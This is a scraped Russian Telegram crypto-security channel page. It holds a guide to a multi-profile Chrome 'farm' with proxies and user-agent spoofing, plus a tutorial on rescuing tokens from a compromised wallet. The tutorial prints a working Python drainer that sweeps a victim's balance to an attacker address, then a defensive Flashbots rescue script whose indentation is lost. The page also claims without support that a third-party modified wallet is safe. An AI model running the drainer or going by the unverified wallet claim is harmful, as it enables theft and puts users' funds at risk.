Pro Безопасность – Telegram
Pro Безопасность
33 subscribers
37 photos
1 video
41 links
Безопасность в интернете; web2.0 / web 3.0 /crypto projects
Download Telegram
Channel photo updated
🤫 Добро пожаловать в канал по Безопасности, здесь мы расскажем про :
🔸Безопасность в интернете в сферах web 2.0,и web 3.0
🔸Крипто безопасность, фермы, способы обезопасить себя от рисков потерять свои средства.
🔸Утилиты и софт
🔸Новости и новинки в мире безопасности
🔸Статьи и мануалы по безопасности
🔸 ...
Please open Telegram to view this post
VIEW IN TELEGRAM
Несколько дней тому назад (25.01.2025г.) взломали ADS Power. Инфо шума по этому поводу было много и в каждой группе кто то потерял свои средства. Этот момент еще раз говорит о базовой подготовке, и о ваших способностях, чтобы противостоять хакеру или не быть скомпрометированным.
🔝Создаем Google Farm взамен AdsPower и другим антикам.

Повышаем свою безопасность и настраиваемся на работу через google chrome profiles.
©️Весь ликбез был взят с канала автора Darvin Notes | Meow DAO, за что ему огромное спасибо.
Информация была дополнена и добавлена на канал.

1️⃣ Скачиваем официальный google chrome - https://www.google.com/intl/ru_ru/chrome
❗️при скачивании убираем галку с надписи - отправка автоматической статистики - отправлять мы ее не будем.
2️⃣ Устанавливаем Google Chrome и создаем профили: жмем на иконку человечка справа и в выпадающем меню снизу выбираем - добавить профиль
❗️ Когда высветится окно, выбираем - продолжить без входа в аккаунт
3️⃣ Создаем необходимое количество профилей.
В настройках каждого из профилей выполняем настройки:
в адресной строке пишем:
◽️chrome://settings/syncSetup
и отключаем ползунок с - Разрешить вход в Chrome
◽️chrome://settings/manageProfile - можно создать ярлык на раб стол
◽️менеджер паролей - удаляем если есть сохраненные ранее пароли
◽️chrome://password-manager/settings - убираем ползунок с - Предлагать сохранение паролей и ключей доступа
и убираем ползунок с - Автоматический вход
◽️chrome://settings/onStartup - Запуск Chrome - Выбираем - ранее открытые вкладки.
◽️chrome://settings/content/automaticDownloads - Ставим запрет на автоматическое скачивание
◽️chrome://settings/downloads - Включаем опцию "всегда спрашивать куда сохранять файл"
4️⃣ Скачиваем модифицированный Rabby Wallet от Darvin,
🫡 через него нельзя угнать сид фразу или приватный ключ.
Скачиваем и Распаковываем файл с Github dist.zip
В Google Chrome, в необходимом нам профиле, пишем:
◽️chrome://extensions - включаем сверху справа ползунок - режим разработчика.
Выбираем сверху слева - Загрузить распакованное расширение и выбираем распакованное ранее в папку расширение с модифицированным Rabby Wallet от Darvin (version - Rabby Wallet 0.92.58)

#Ферма
Канал CryptoHooligansЧат
Please open Telegram to view this post
VIEW IN TELEGRAM
Продолжаем настройку Google Farm Profiles:

5️⃣ Создаем новый кошелек:
На соседнем устройстве скачиваем Rabby wallet официальная ссылка - rabby.io
Ждем пока установиться расширение.
❗️Отключаем физически интернет ❗️
Выбираем создание нового кошелька и записываем SEED фразу в бумажный блокнот.
❗️ Не включая интернет входим в rabby Wallet и копируем PrivateKey на флешку.
🔹Запускаем командную строку CMD для очистки буфера обмена: в Cmd пишем команду - echo off | clip либо cmd/c echo off | clip
Для очистки буфера есть специальные утилиты - Clear Clipboard, GuardBuferCleaner, ClipTTL
🔹Удаляем расширение Rabby Wallet и включаем интернет для дальнейших действий.
На ПК, где установлен модифицированный Rabby Wallet -
❗️физически отключаем интернет ❗️
Запускаем Rabby Wallet и выбираем войти по Приватному ключу -
Запросит установку пароля на вход - устанавливаем сложный и надежный пароль со спец символами, большими и маленькими буквами, от 10 символов и больше. С флешки копируем Private key в модифицированный Rabby Wallet.
🔹Запускаем командную строку CMD для очистки буфера обмена: в Cmd пишем команду - echo off | clip либо cmd/c echo off | clip
Проверяем, что кошелек подгрузился. Включаем интернет.
6️⃣ Устанавливаем дополнения:
♦️UPD - Более не доступен в Google play market - Proxy SwitchyOmega - для того чтобы прописать свой Proxy: https://chromewebstore.google.com/detail/proxy-switcyomega/padekgcemlokbadohgkifijomclgjgif
После установки пропускаем гайд по настройке, закрепляем расширение. Переходим из главного меню в пункт Profiles\Proxy и вбиваем данные прокси, логин и пароль спрятаны за пиктограммой замка.
Переходим из главного меню во вкладку Interface и выбираем Startup Profile\Proxy Переходим из главного меню во вкладку General и отключаем первую галку - Show count of failed web requests for resources in the current tab.

Устанавливаем Proxy-Cheap Proxy Manager
Проверяем прокси - Закрываем браузер и снова запускаем его - Открываем ресурс - https://2ip.ru / whatismyipaddress.com и сравниваем полученный IP с нашим IP из прокси (должны быть идентичны)
а также можно проверить - если расширение горит синим цветом - значит прокси работает.
7️⃣Подмена железа:
♦️User-Agent профиля - скачиваем расширение - Random User-Agent (Switcher).

#Ферма
Канал CryptoHooligansЧат
Please open Telegram to view this post
VIEW IN TELEGRAM
⬆️⬆️⬆️⬆️⬆️

🫠 Важный момент, если у вас уже сидит зловред на компьютере, то то что вы отключали интернет и чистили буфер обмена вам не поможет. Данные также утекут в сеть при первом включении интернета.
🧐Вы Должны быть уверены, что у вас девственно чистая операционная система, в противном случае лучше ее переустановить и обновить протоколы безопасности до актуальной даты.
Please open Telegram to view this post
VIEW IN TELEGRAM
🫥 How to AntiDrain | Спасаем средства из скомпрометированного кошелька
Автор статьи канал cppmyk.inc.

1️⃣ Введение:
В криптовалютном сообществе частенько можно наткнуться на людей, у которых украли приватный ключ или сид-фразу от одного или нескольких кошельков. Обычно в таком случае кошелек моментально лишается содержимого, но бывает и иначе, когда хакер не выводит все средства из кошелька которые, например, лежат в лендинговом протоколе или же пока еще не доступны для получения в случае дропов.

Задача по возвращению оставшихся средств со взломанного кошелька, хоть и кажется на первый взгляд довольно простой, на деле является практически невыполнимой для рядового пользователя. Виной тому запущенный дрейнер, который ворует с кошелька жертвы нативный токен сети, как только она пытается перевести его для оплаты комиссии.

Для человека, сколько-нибудь подкованного в программировании, разобраться с вышеупомянутой проблемой не представляет особой сложности, если он знаком с алгоритмом решения.

В данной статье мы разберем, что из себя представляет дрейнер и как с ним бороться. Иными словами, предоставим алгоритм спасения средств из скомпрометированного кошелька и его реализацию на языке Python.

Все примеры будут разобраны на блокчейне Ethereum.
Код на GitHub: link.
2️⃣ Дрейнер:
Дрейнер (drainer/sweeper) — программное обеспечение, которое постоянно следит за изменениями баланса кошелька жертвы и ворует средства сразу после их поступления на счет, тем самым препятствуя попыткам жертвы забрать оставшиеся активы.

В большинстве случаев реализация такого софта достаточно примитивная и не требует глубокого понимания работы блокчейна. Один из вариантов разберем далее.


Алгоритм.
Начнем с алгоритма:

Следим за появлением нового блока.
Проверяем баланс кошелька жертвы.
Если хватает нативного токена для оплаты комиссии трансфера, воруем деньги с кошелька.
Переходим к пункту 1.

Реализация:
import time

from eth_account import Account
from eth_account.datastructures import SignedTransaction
from eth_account.signers.local import LocalAccount
from eth_typing import ChecksumAddress
from hexbytes import HexBytes
from web3 import Web3
from web3.types import Wei, TxParams

ETH_HTTP_URL: str = 'https://eth.llamarpc.com'
ETH_CHAIN_ID: int = 1

COMPROMISED_KEY: str = "private_key"

HACKER_ADDRESS: ChecksumAddress = Web3.to_checksum_address('address')
TRANSFER_GAS_LIMIT: int = 21000

w3: Web3 = Web3(Web3.HTTPProvider(ETH_HTTP_URL))
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)


def sweep() -> None:
gas_price: Wei = w3.eth.gas_price
account_balance: Wei = w3.eth.get_balance(compromised.address)

if account_balance < gas_price * TRANSFER_GAS_LIMIT:
return

transaction: TxParams = {
'chainId': ETH_CHAIN_ID,
'from': compromised.address,
'to': HACKER_ADDRESS,
'value': account_balance - (gas_price * TRANSFER_GAS_LIMIT),
'nonce': w3.eth.get_transaction_count(compromised.address),
'gas': TRANSFER_GAS_LIMIT,
'gasPrice': gas_price
}

signed: SignedTransaction = compromised.sign_transaction(transaction)

tx_hash: HexBytes = w3.eth.send_raw_transaction(signed.rawTransaction)
w3.eth.wait_for_transaction_receipt(tx_hash)

print(f'Sweep transaction: {tx_hash.hex()}')


def main() -> None:
block_filter = w3.eth.filter('latest')
interval = 1

while True:
for block_hash in block_filter.get_new_entries():
block = w3.eth.getBlock(block_hash)
print(f"New Block: {block.number}")
sweep()
time.sleep(interval)
Please open Telegram to view this post
VIEW IN TELEGRAM
if name == 'main':
main()
Такой неказистой реализации уже достаточно, чтобы среднестатистический пользователь бросил попытки спасения своих средств, так как вручную он это вряд ли сможет сделать.
Дрейнеры, разумеется, могут быть более изощренными. Например, они могут следить за пулом неподтвержденных транзакций с целью поиска взаимодействий с кошельком жертвы и более надежного предотвращения вывода активов. Но любые подобные реализации не могут ничего сделать против приватных пулов, которые мы рассмотрим далее.
3️⃣Спасаем средства:
Мы уже поняли, что руками противостоять sweeper-боту — не лучшая затея. Поэтому попытаемся автоматизировать процесс спасения средств.

Для начала рассмотрим технологии, которые будут полезны для наших задач, затем разберем алгоритм и его реализацию на Python, после чего увидим результат на Etherscan.
Приватные пулы.
Ключевым элементом в борьбе с хакером является использование приватных пулов. Что же это такое?

При стандартном использовании сети пользователи отправляют подписанные транзакции нодам блокчейна, которые, в свою очередь, сохраняют их в структуре TxPool и начинают распространять между всеми подключенными пирами. Это делает мемпул полностью публичным и доступным каждому участнику сети, с некоторыми оговорками (частные ноды все-таки не имеют доступа ко всем неподтвержденным транзакциям из-за особенностей реализации).
Публичность дает возможность хакеру анализировать и фронтранить транзакции (ставить более высокий gas, за счет чего изменять свое положение в блоке), что будет мешать нам при попытке спасения средств.
Тут на помощь приходят приватные пулы, дающие следующие возможности:

Отправка транзакции в обход публичного мемпула.
Упаковка транзакций в так называемые бандлы (bundle, несколько транзакций в определенной последовательности).
Избегание оплаты за провалившиеся транзакции (они либо включены в блок и выполнены успешно, либо не включены вовсе, если пользователь явно не указал, что допускает фейл некоторых транзакций).

Идея работы приватных пулов:
Пользователь отправляет одну или несколько транзакций (bundle) Builder-у блоков.
Builder создает самый оптимальный блок из доступных транзакций.
Builder отправляет блок в Relay.
Relay, получивший много возможных блоков от различных Builder-ов, выбирает среди них самый оптимальный.
Relay отправляет блок Validator-у.
Validator, получивший блоки от различных Relay-ев, выбирает самый оптимальный.
Validator создает блок (если сейчас его очередь).
Схематически это выглядит примерно так: 1 и 2

Алгоритм.
Для примера представим следующую ситуацию: приватный ключ от нашего кошелька был украден, с баланса был выведен весь эфир, но при этом осталось некоторое количество ERC-20 токенов WETH, которые мы хотим вернуть себе.

Введем следующие обозначения:

Rescuer — кошелек-донор, с которого мы будем отправлять средства для покрытия комиссии на скомпрометированном аккаунте.
Compromised — кошелек, который был взломан хакером и контролируется дрейнером.
Теперь, когда мы узнали о приватных пулах, алгоритм спасения средств предельно прост:

Формируем бандл:
Депозит ETH для покрытия комиссии с кошелька Rescuer.
Взаимодействие с контрактом WETH и трансфер средств с Compromised на Rescuer.
Симулируем выполнение бандла через онлайн-симулятор (опционально, чтобы проверить его корректность).
Отправляем бандл билдеру.
Ждем включения в блок.
Если наш бандл является достаточно привлекательным для потенциального валидатора с точки зрения прибыльности (награда либо через комиссию, либо прямой перевод средств на его адрес), то мы с высокой вероятностью попадем в блок.

Следует также учитывать, какому билдеру вы отправляете, так как с некоторыми придется ждать включения в блок продолжительное время.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Реализация.
from eth_account.datastructures import SignedTransaction
from eth_typing import ChecksumAddress, BlockNumber
from flashbots import flashbot
from web3 import Web3, HTTPProvider
from eth_account.account import Account
from eth_account.signers.local import LocalAccount
from web3.contract import Contract
from web3.exceptions import TransactionNotFound
from web3.types import TxParams, Wei

from erc20_abi import ERC20_ABI

RESCUER_KEY: str = ""
COMPROMISED_KEY: str = ""
FLASHBOTS_KEY: str = ""

ETH_CHAIN_ID: int = 1
ETH_HTTP_URL: str = 'https://eth.llamarpc.com'

WETH_CONTRACT_ADDRESS: ChecksumAddress = Web3.to_checksum_address('0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2')
WETH_TRANSFER_GAS_LIMIT: int = 100000
ETH_TRANSFER_GAS_LIMIT: int = 21000

WETH_AMOUNT_TO_RESCUE: Wei = Web3.to_wei(0.001, 'ether')

rescuer: LocalAccount = Account.from_key(RESCUER_KEY)
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)
signer: LocalAccount = Account.from_key(FLASHBOTS_KEY)

w3: Web3 = Web3(HTTPProvider(ETH_HTTP_URL))
flashbot(w3, signer)


def build_erc20_transfer_transaction(sender_address: ChecksumAddress, destination_address: ChecksumAddress,
amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
contract: Contract = w3.eth.contract(address=WETH_CONTRACT_ADDRESS, abi=ERC20_ABI)

tx: TxParams = contract.functions.transfer(destination_address, amount).build_transaction(
{
'from': sender_address,
'gas': WETH_TRANSFER_GAS_LIMIT,
'gasPrice': gas_price,
'nonce': nonce
}
)

return tx


def build_send_transaction(destination_address: ChecksumAddress, amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
tx: TxParams = {
'to': destination_address,
'value': amount,
'gas': ETH_TRANSFER_GAS_LIMIT,
'gasPrice': gas_price,
'nonce': nonce,
'chainId': ETH_CHAIN_ID
}

return tx


def main():
print(f'Rescuer address: {rescuer.address}')
print(f'Compromised address: {compromised.address}')
print('-' * 100)

gas_price: Wei = w3.eth.gas_price
eth_to_cover_transfer: Wei = Wei(gas_price * WETH_TRANSFER_GAS_LIMIT)

rescuer_nonce: int = w3.eth.get_transaction_count(rescuer.address)
deposit_tx: TxParams = build_send_transaction(compromised.address, eth_to_cover_transfer, gas_price, rescuer_nonce)
deposit_tx_signed: SignedTransaction = rescuer.sign_transaction(deposit_tx)

compromised_nonce: int = w3.eth.get_transaction_count(compromised.address)
weth_transfer_tx: TxParams = build_erc20_transfer_transaction(compromised.address, rescuer.address,
WETH_AMOUNT_TO_RESCUE, gas_price, compromised_nonce)
weth_transfer_tx_signed: SignedTransaction = compromised.sign_transaction(weth_transfer_tx)

bundle = [
{'signed_transaction': deposit_tx_signed.rawTransaction},
{'signed_transaction': weth_transfer_tx_signed.rawTransaction},
]

while True:
block: BlockNumber = w3.eth.block_number

print(f'Simulating on block {block}')
try:
w3.flashbots.simulate(bundle, block)
print('Simulation successful.')
print()
except Exception as e:
print("Simulation error", e)

print(f"Sending bundle targeting block {block + 1}")

send_result = w3.flashbots.send_bundle(
bundle,
target_block_number=block + 1
)
print("bundleHash", w3.toHex(send_result.bundle_hash()))

stats_v2 = w3.flashbots.get_bundle_stats_v2(
w3.toHex(send_result.bundle_hash()), block
)
print("bundleStats v2", stats_v2)

try:
receipts = send_result.receipts()
print(f"Bundle was mined in block {receipts[0].blockNumber}")
break
except TransactionNotFound:
print(f"Bundle not found in block {block + 1}")
print('-' * 100)

print('Finished')
👍1
if name == "main":
main()
FLASHBOTS_KEY — это приватный ключ, который используется для подписания бандла. Он не обязан соответствовать какому-то реальному кошельку. Flashbots использует этот механизм в своей системе репутации пользователей.

Результат работы:
Что ж, проверим на практике.
Подождав некоторое время, бандл был включен в блок 19924093.
Транзакция с кошелька-донора (11-е место в блоке) - link.
Транзакция со скомпрометированного кошелька (12-е место в блоке) - link.
Как мы видим, транзакции были включены друг за другом, как мы и хотели. А кроме того, прошли в обход публичного пула транзакций, следовательно хакер бы их не увидел.

#Антидрейнер
Канал CryptoHooligansЧат